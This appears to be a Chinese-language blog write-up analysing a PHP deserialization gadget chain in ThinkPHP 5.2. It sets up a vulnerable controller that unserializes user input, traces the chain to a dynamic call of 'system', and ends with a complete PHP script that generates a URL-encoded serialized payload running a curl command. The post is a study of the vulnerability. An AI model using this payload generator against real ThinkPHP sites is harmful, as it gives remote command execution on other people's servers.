ThinkPHP 5.2反序列化
前言
buuoj因为特殊原因暂时关闭了,没题刷了,那咋办嘛。最近thinkphp反序列化很火,遂补下落下的坑。
环境搭建
# 安装
composer create-project topthink/think=5.2.x-dev v5.2
# 开启
cd /v5.2
php think run
/app/controller/index.php
<?php
namespace app\controller;
class Index
{
public function index($input='')
{
echo $input;
unserialize($input);
}
}
POP链分析
反序列化入口于class Windows::__destruct

file_exists可以触发__toString魔术方法,且这里$this->files可控

全局搜__toString,跟进conversion类toJson方法

跟进toArray方法,分析方法,需要考虑
- 哪些是类变量调用的参数
- 有没有哪些类变量调用可以执行魔术方法当做跳板
跟进getAttr方法,再跟进getValue方法。存在动态函数调用,我们去溯源下这几个参数
$closure、$value、$this->data

首先是$value参数,回到Attribute类getAttr方法,$value值由传入的$name决定且带入getData方法,getRealFieldName方法返回值又为$name值,接着带入$this->data[$fileName]。和data数组相关

再往回看,这里$key值是Conversion类参数中$this->data和$this->relation键值可控。

需要明白的是Conversion类是trait型,需要找到use它的类。定位到model类


modle构造方法中$this->data值是调用该该构造方法时候传入,由于是抽象类需要找到他的子类.
定位至Pivot类,这里构造方法调用了父类构造方法

$closure参数
至此漏洞点处的$value值已经分析完了,继续看漏洞点$closure参数。
withAttr为类变量可控,继续跟进$fieldName
跟进getRealFieldName方法,传入参数为$name也是可控的。该值上面已经分析了为data数组键。
由于$this->strict为true 直接返回$name值
可以这样构造。
$this->withAttr = array("paper"=>'system');
=> $closure='system';

EXP
参考链接中利用了\Opis\Closure可用于序列化匿名函数
这里直接用system函数
<?php
namespace think\process\pipes {
class Windows{
private $files = [];
function __construct($files)
{
$this->files = $files;
}
}
}
namespace think\model\concern {
trait Conversion{
protected $visible;
}
trait RelationShip{
private $relation;
}
trait Attribute{
private $withAttr;
private $data;
}
}
namespace think {
abstract class Model{
use model\concern\RelationShip;
use model\concern\Conversion;
use model\concern\Attribute;
function __construct($closure)
{
$this->data = $closure;
$this->relation = [];
$this->visible= [];
$this->withAttr = array("paper"=>'system');
}
}
}
namespace think\model {
class Pivot extends \think\Model{
function __construct($closure)
{
parent::__construct($closure);
}
}
}
namespace{
$pivot = new think\model\Pivot(['paper'=>'curl http://127.0.0.1:8897']);
$windows = new think\process\pipes\Windows([$pivot]);
echo urlencode(serialize($windows));
}

POP

参考链接
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!